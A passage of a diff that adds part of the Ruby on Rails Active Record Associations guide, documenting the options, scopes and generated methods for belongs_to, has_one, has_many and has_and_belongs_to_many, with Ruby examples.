+class Order < ActiveRecord::Base
+ belongs_to :customer, dependent: :destroy,
+ counter_cache: true
+end
+```
+
+The `belongs_to` association supports these options:
+
+* `:autosave`
+* `:class_name`
+* `:counter_cache`
+* `:dependent`
+* `:foreign_key`
+* `:inverse_of`
+* `:polymorphic`
+* `:touch`
+* `:validate`
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is `Patron`, you'd set things up this way:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, class_name: "Patron"
+end
+```
+
+##### `:counter_cache`
+
+The `:counter_cache` option can be used to make finding the number of belonging objects more efficient. Consider these models:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+With these declarations, asking for the value of `@customer.orders.size` requires making a call to the database to perform a `COUNT(*)` query. To avoid this call, you can add a counter cache to the _belonging_ model:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, counter_cache: true
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+With this declaration, Rails will keep the cache value up to date, and then return that value in response to the `size` method.
+
+Although the `:counter_cache` option is specified on the model that includes the `belongs_to` declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named `orders_count` to the `Customer` model. You can override the default column name if you need to:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, counter_cache: :count_of_orders
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`.
+
+##### `:dependent`
+
+If you set the `:dependent` option to `:destroy`, then deleting this object will call the `destroy` method on the associated object to delete that object. If you set the `:dependent` option to `:delete`, then deleting this object will delete the associated object _without_ calling its `destroy` method. If you set the `:dependent` option to `:restrict`, then attempting to delete this object will result in a `ActiveRecord::DeleteRestrictionError` if there are any associated objects.
+
+WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database.
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, class_name: "Patron",
+ foreign_key: "patron_id"
+end
+```
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+##### `:inverse_of`
+
+The `:inverse_of` option specifies the name of the `has_many` or `has_one` association that is the inverse of this association. Does not work in combination with the `:polymorphic` options.
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, inverse_of: :customer
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer, inverse_of: :orders
+end
+```
+
+##### `:polymorphic`
+
+Passing `true` to the `:polymorphic` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
+
+##### `:touch`
+
+If you set the `:touch` option to `:true`, then the `updated_at` or `updated_on` timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, touch: true
+end
+
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+In this case, saving or destroying an order will update the timestamp on the associated customer. You can also specify a particular timestamp attribute to update:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, touch: :orders_updated_at
+end
+```
+
+##### `:validate`
+
+If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved.
+
+#### Scopes for `belongs_to`
+
+There may be times when you wish to customize the query used by `belongs_to`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, -> { where active: true },
+ dependent: :destroy
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `includes`
+* `readonly`
+* `select`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, -> { where active: true }
+end
+```
+
+##### `includes`
+
+You can use the `includes` method let you specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+```ruby
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+If you frequently retrieve customers directly from line items (`@line_item.order.customer`), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
+
+```ruby
+class LineItem < ActiveRecord::Base
+ belongs_to :order, -> { includes :customer }
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+NOTE: There's no need to use `includes` for immediate associations - that is, if you have `Order belongs_to :customer`, then the customer is eager-loaded automatically when it's needed.
+
+##### `readonly`
+
+If you use `readonly`, then the associated object will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+TIP: If you use the `select` method on a `belongs_to` association, you should also set the `:foreign_key` option to guarantee the correct results.
+
+#### Do Any Associated Objects Exist?
+
+You can see if any associated objects exist by using the `association.nil?` method:
+
+```ruby
+if @order.customer.nil?
+ @msg = "No customer found for this order"
+end
+```
+
+#### When are Objects Saved?
+
+Assigning an object to a `belongs_to` association does _not_ automatically save the object. It does not save the associated object either.
+
+### `has_one` Association Reference
+
+The `has_one` association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use `belongs_to` instead.
+
+#### Methods Added by `has_one`
+
+When you declare a `has_one` association, the declaring class automatically gains four methods related to the association:
+
+* `association(force_reload = false)`
+* `association=(associate)`
+* `build_association(attributes = {})`
+* `create_association(attributes = {})`
+
+In all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+```
+
+Each instance of the `Supplier` model will have these methods:
+
+```ruby
+account
+account=
+build_account
+create_account
+```
+
+NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
+
+##### `association(force_reload = false)`
+
+The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.
+
+```ruby
+ at account = @supplier.account
+```
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass `true` as the `force_reload` argument.
+
+##### `association=(associate)`
+
+The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
+
+```ruby
+ at supplier.account = @account
+```
+
+##### `build_association(attributes = {})`
+
+The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
+
+```ruby
+ at account = @supplier.build_account(terms: "Net 30")
+```
+
+##### `create_association(attributes = {})`
+
+The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+ at account = @supplier.create_account(terms: "Net 30")
+```
+
+#### Options for `has_one`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_one` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, class_name: "Billing", dependent: :nullify
+end
+```
+
+The `has_one` association supports these options:
+
+* `:as`
+* `:autosave`
+* `:class_name`
+* `:dependent`
+* `:foreign_key`
+* `:inverse_of`
+* `:primary_key`
+* `:source`
+* `:source_type`
+* `:through`
+* `:validate`
+
+##### `:as`
+
+Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is `Billing`, you'd set things up this way:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, class_name: "Billing"
+end
+```
+
+##### `:dependent`
+
+Controls what happens to the associated object when its owner is destroyed:
+
+* `:destroy` causes the associated object to also be destroyed
+* `:delete` causes the associated object to be deleted directly from the database (so callbacks will not execute)
+* `:nullify` causes the foreign key to be set to `NULL`. Callbacks are not executed.
+* `:restrict_with_exception` causes an exception to be raised if there is an associated record
+* `:restrict_with_error` causes an error to be added to the owner if there is an associated object
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, foreign_key: "supp_id"
+end
+```
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+##### `:inverse_of`
+
+The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, inverse_of: :supplier
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier, inverse_of: :account
+end
+```
+
+##### `:primary_key`
+
+By convention, Rails assumes that the column used to hold the primary key of this model is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option.
+
+##### `:source`
+
+The `:source` option specifies the source association name for a `has_one :through` association.
+
+##### `:source_type`
+
+The `:source_type` option specifies the source association type for a `has_one :through` association that proceeds through a polymorphic association.
+
+##### `:through`
+
+The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail <a href="#the-has-one-through-association">earlier in this guide</a>.
+
+##### `:validate`
+
+If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved.
+
+#### Scopes for `has_one`
+
+There may be times when you wish to customize the query used by `has_one`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, -> { where active: true }
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `includes`
+* `readonly`
+* `select`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, -> { where "confirmed = 1" }
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+ belongs_to :representative
+end
+
+class Representative < ActiveRecord::Base
+ has_many :accounts
+end
+```
+
+If you frequently retrieve representatives directly from suppliers (`@supplier.account.representative`), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, -> { includes :representative }
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+ belongs_to :representative
+end
+
+class Representative < ActiveRecord::Base
+ has_many :accounts
+end
+```
+
+##### `readonly`
+
+If you use the `readonly` method, then the associated object will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+#### Do Any Associated Objects Exist?
+
+You can see if any associated objects exist by using the `association.nil?` method:
+
+```ruby
+if @supplier.account.nil?
+ @msg = "No account found for this supplier"
+end
+```
+
+#### When are Objects Saved?
+
+When you assign an object to a `has_one` association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
+
+If either of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_one` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved. They will automatically when the parent object is saved.
+
+If you want to assign an object to a `has_one` association without saving the object, use the `association.build` method.
+
+### `has_many` Association Reference
+
+The `has_many` association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
+
+#### Methods Added by `has_many`
+
+When you declare a `has_many` association, the declaring class automatically gains 13 methods related to the association:
+
+* `collection(force_reload = false)`
+* `collection<<(object, ...)`
+* `collection.delete(object, ...)`
+* `collection.destroy(object, ...)`
+* `collection=objects`
+* `collection_singular_ids`
+* `collection_singular_ids=ids`
+* `collection.clear`
+* `collection.empty?`
+* `collection.size`
+* `collection.find(...)`
+* `collection.where(...)`
+* `collection.exists?(...)`
+* `collection.build(attributes = {}, ...)`
+* `collection.create(attributes = {})`
+
+In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+Each instance of the customer model will have these methods:
+
+```ruby
+orders(force_reload = false)
+orders<<(object, ...)
+orders.delete(object, ...)
+orders.destroy(object, ...)
+orders=objects
+order_ids
+order_ids=ids
+orders.clear
+orders.empty?
+orders.size
+orders.find(...)
+orders.where(...)
+orders.exists?(...)
+orders.build(attributes = {}, ...)
+orders.create(attributes = {})
+```
+
+##### `collection(force_reload = false)`
+
+The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+```ruby
+ at orders = @customer.orders
+```
+
+##### `collection<<(object, ...)`
+
+The `collection<<` method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
+
+```ruby
+ at customer.orders << @order1
+```
+
+##### `collection.delete(object, ...)`
+
+The `collection.delete` method removes one or more objects from the collection by setting their foreign keys to `NULL`.
+
+```ruby
+ at customer.orders.delete(@order1)
+```
+
+WARNING: Additionally, objects will be destroyed if they're associated with `dependent: :destroy`, and deleted if they're associated with `dependent: :delete_all`.
+
+##### `collection.destroy(object, ...)`
+
+The `collection.destroy` method removes one or more objects from the collection by running `destroy` on each object.
+
+```ruby
+ at customer.orders.destroy(@order1)
+```
+
+WARNING: Objects will _always_ be removed from the database, ignoring the `:dependent` option.
+
+##### `collection=objects`
+
+The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
+##### `collection_singular_ids`
+
+The `collection_singular_ids` method returns an array of the ids of the objects in the collection.
+
+```ruby
+ at order_ids = @customer.order_ids
+```
+
+##### `collection_singular_ids=ids`
+
+The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
+##### `collection.clear`
+
+The `collection.clear` method removes every object from the collection. This destroys the associated objects if they are associated with `dependent: :destroy`, deletes them directly from the database if `dependent: :delete_all`, and otherwise sets their foreign keys to `NULL`.
+
+##### `collection.empty?`
+
+The `collection.empty?` method returns `true` if the collection does not contain any associated objects.
+
+```erb
+<% if @customer.orders.empty? %>
+ No Orders Found
+<% end %>
+```
+
+##### `collection.size`
+
+The `collection.size` method returns the number of objects in the collection.
+
+```ruby
+ at order_count = @customer.orders.size
+```
+
+##### `collection.find(...)`
+
+The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`.
+
+```ruby
+ at open_orders = @customer.orders.find(1)
+```
+
+##### `collection.where(...)`
+
+The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.
+
+```ruby
+ at open_orders = @customer.orders.where(open: true) # No query yet
+ at open_order = @open_orders.first # Now the database will be queried
+```
+
+##### `collection.exists?(...)`
+
+The `collection.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`.
+
+##### `collection.build(attributes = {}, ...)`
+
+The `collection.build` method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
+
+```ruby
+ at order = @customer.orders.build(order_date: Time.now,
+ order_number: "A12345")
+```
+
+##### `collection.create(attributes = {})`
+
+The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+ at order = @customer.orders.create(order_date: Time.now,
+ order_number: "A12345")
+```
+
+#### Options for `has_many`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, dependent: :delete_all, validate: :false
+end
+```
+
+The `has_many` association supports these options:
+
+* `:as`
+* `:autosave`
+* `:class_name`
+* `:dependent`
+* `:foreign_key`
+* `:inverse_of`
+* `:primary_key`
+* `:source`
+* `:source_type`
+* `:through`
+* `:validate`
+
+##### `:as`
+
+Setting the `:as` option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>.
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is `Transaction`, you'd set things up this way:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, class_name: "Transaction"
+end
+```
+
+##### `:dependent`
+
+Controls what happens to the associated objects when their owner is destroyed:
+
+* `:destroy` causes all the associated objects to also be destroyed
+* `:delete_all` causes all the associated objects to be deleted directly from the database (so callbacks will not execute)
+* `:nullify` causes the foreign keys to be set to `NULL`. Callbacks are not executed.
+* `:restrict_with_exception` causes an exception to be raised if there are any associated records
+* `:restrict_with_error` causes an error to be added to the owner if there are any associated objects
+
+NOTE: This option is ignored when you use the `:through` option on the association.
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, foreign_key: "cust_id"
+end
+```
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+##### `:inverse_of`
+
+The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, inverse_of: :customer
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer, inverse_of: :orders
+end
+```
+
+##### `:primary_key`
+
+By convention, Rails assumes that the column used to hold the primary key of the association is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option.
+
+##### `:source`
+
+The `:source` option specifies the source association name for a `has_many :through` association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
+
+##### `:source_type`
+
+The `:source_type` option specifies the source association type for a `has_many :through` association that proceeds through a polymorphic association.
+
+##### `:through`
+
+The `:through` option specifies a join model through which to perform the query. `has_many :through` associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has-many-through-association">earlier in this guide</a>.
+
+##### `:validate`
+
+If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved.
+
+#### Scopes for `has_many`
+
+There may be times when you wish to customize the query used by `has_many`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, -> { where processed: true }
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `extending`
+* `group`
+* `includes`
+* `limit`
+* `offset`
+* `order`
+* `readonly`
+* `select`
+* `uniq`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :confirmed_orders, -> { where "confirmed = 1" },
+ class_name: "Order"
+end
+```
+
+You can also set conditions via a hash:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :confirmed_orders, -> { where confirmed: true },
+ class_name: "Order"
+end
+```
+
+If you use a hash-style `where` option, then record creation via this association will be automatically scoped using the hash. In this case, using `@customer.confirmed_orders.create` or `@customer.confirmed_orders.build` will create orders where the confirmed column has the value `true`.
+
+##### `extending`
+
+The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
+
+##### `group`
+
+The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL.
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :line_items, -> { group 'orders.id' },
+ through: :orders
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+end
+```
+
+If you frequently retrieve line items directly from customers (`@customer.orders.line_items`), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, -> { includes :line_items }
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+end
+```
+
+##### `limit`
+
+The `limit` method lets you restrict the total number of objects that will be fetched through an association.
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :recent_orders,
+ -> { order('order_date desc').limit(100) },
+ class_name: "Order",
+end
+```
+
+##### `offset`
+
+The `offset` method lets you specify the starting offset for fetching objects via an association. For example, `-> { offset(11) }` will skip the first 11 records.
+
+##### `order`
+
+The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause).
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, -> { order "date_confirmed DESC" }
+end
+```
+
+##### `readonly`
+
+If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+WARNING: If you specify your own `select`, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
+
+##### `distinct`
+
+Use the `distinct` method to keep the collection free of duplicates. This is
+mostly useful together with the `:through` option.
+
+```ruby
+class Person < ActiveRecord::Base
+ has_many :readings
+ has_many :posts, through: :readings
+end
+
+person = Person.create(name: 'John')
+post = Post.create(name: 'a1')
+person.posts << post
+person.posts << post
+person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">]
+Reading.all.inspect # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>]
+```
+
+In the above case there are two readings and `person.posts` brings out both of
+them even though these records are pointing to the same post.
+
+Now let's set `distinct`:
+
+```ruby
+class Person
+ has_many :readings
+ has_many :posts, -> { distinct }, through: :readings
+end
+
+person = Person.create(name: 'Honda')
+post = Post.create(name: 'a1')
+person.posts << post
+person.posts << post
+person.posts.inspect # => [#<Post id: 7, name: "a1">]
+Reading.all.inspect # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>]
+```
+
+In the above case there are still two readings. However `person.posts` shows
+only one post because the collection loads only unique records.
+
+If you want to make sure that, upon insertion, all of the records in the
+persisted association are distinct (so that you can be sure that when you
+inspect the association that you will never find duplicate records), you should
+add a unique index on the table itself. For example, if you have a table named
+``person_posts`` and you want to make sure all the posts are unique, you could
+add the following in a migration:
+
+```ruby
+add_index :person_posts, :post, :unique => true
+```
+
+Note that checking for uniqueness using something like ``include?`` is subject
+to race conditions. Do not attempt to use ``include?`` to enforce distinctness
+in an association. For instance, using the post example from above, the
+following code would be racy because multiple users could be attempting this
+at the same time:
+
+```ruby
+person.posts << post unless person.posts.include?(post)
+```
+
+#### When are Objects Saved?
+
+When you assign an object to a `has_many` association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a `has_many` association without saving the object, use the `collection.build` method.
+
+### `has_and_belongs_to_many` Association Reference
+
+The `has_and_belongs_to_many` association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
+
+#### Methods Added by `has_and_belongs_to_many`
+
+When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 13 methods related to the association:
+
+* `collection(force_reload = false)`
+* `collection<<(object, ...)`
+* `collection.delete(object, ...)`
+* `collection.destroy(object, ...)`
+* `collection=objects`
+* `collection_singular_ids`
+* `collection_singular_ids=ids`
+* `collection.clear`
+* `collection.empty?`
+* `collection.size`
+* `collection.find(...)`
+* `collection.where(...)`
+* `collection.exists?(...)`
+* `collection.build(attributes = {})`
+* `collection.create(attributes = {})`
+
+In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
+
+```ruby
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+```
+
+Each instance of the part model will have these methods:
+
+```ruby
+assemblies(force_reload = false)
+assemblies<<(object, ...)
+assemblies.delete(object, ...)
+assemblies.destroy(object, ...)
+assemblies=objects
+assembly_ids
+assembly_ids=ids
+assemblies.clear
+assemblies.empty?
+assemblies.size
+assemblies.find(...)
+assemblies.where(...)
+assemblies.exists?(...)
+assemblies.build(attributes = {}, ...)
+assemblies.create(attributes = {})
+```
+
+##### Additional Column Methods
+
+If the join table for a `has_and_belongs_to_many` association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
+
+WARNING: The use of extra attributes on the join table in a `has_and_belongs_to_many` association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a `has_many :through` association instead of `has_and_belongs_to_many`.
+
+
+##### `collection(force_reload = false)`
+
+The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+```ruby
+ at assemblies = @part.assemblies
+```
+
+##### `collection<<(object, ...)`
+
+The `collection<<` method adds one or more objects to the collection by creating records in the join table.
+
+```ruby
+ at part.assemblies << @assembly1
+```
+
+NOTE: This method is aliased as `collection.concat` and `collection.push`.
+
+##### `collection.delete(object, ...)`
+
+The `collection.delete` method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
+
+```ruby
+ at part.assemblies.delete(@assembly1)
+```
+
+WARNING: This does not trigger callbacks on the join records.
+
+##### `collection.destroy(object, ...)`
+
+The `collection.destroy` method removes one or more objects from the collection by running `destroy` on each record in the join table, including running callbacks. This does not destroy the objects.
+
+```ruby
+ at part.assemblies.destroy(@assembly1)
+```
+
+##### `collection=objects`
+
+The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
+##### `collection_singular_ids`
+
+The `collection_singular_ids` method returns an array of the ids of the objects in the collection.
+
+```ruby
+ at assembly_ids = @part.assembly_ids
+```
+
+##### `collection_singular_ids=ids`
+
+The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
+##### `collection.clear`
+
+The `collection.clear` method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
+
+##### `collection.empty?`
+
+The `collection.empty?` method returns `true` if the collection does not contain any associated objects.
+
+```ruby
+<% if @part.assemblies.empty? %>
+ This part is not used in any assemblies
+<% end %>
+```
+
+##### `collection.size`
+
+The `collection.size` method returns the number of objects in the collection.
+
+```ruby
+ at assembly_count = @part.assemblies.size
+```
+
+##### `collection.find(...)`
+
+The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`. It also adds the additional condition that the object must be in the collection.
+
+```ruby
+ at assembly = @part.assemblies.find(1)
+```
+
+##### `collection.where(...)`
+
+The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.
+
+```ruby
+ at new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
+```
+
+##### `collection.exists?(...)`
+
+The `collection.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`.
+
+##### `collection.build(attributes = {})`
+
+The `collection.build` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
+
+```ruby
+ at assembly = @part.assemblies.build({assembly_name: "Transmission housing"})
+```
+
+##### `collection.create(attributes = {})`
+
+The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+ at assembly = @part.assemblies.create({assembly_name: "Transmission housing"})
+```
+
+#### Options for `has_and_belongs_to_many`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_and_belongs_to_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
+
+```ruby
+class Parts < ActiveRecord::Base
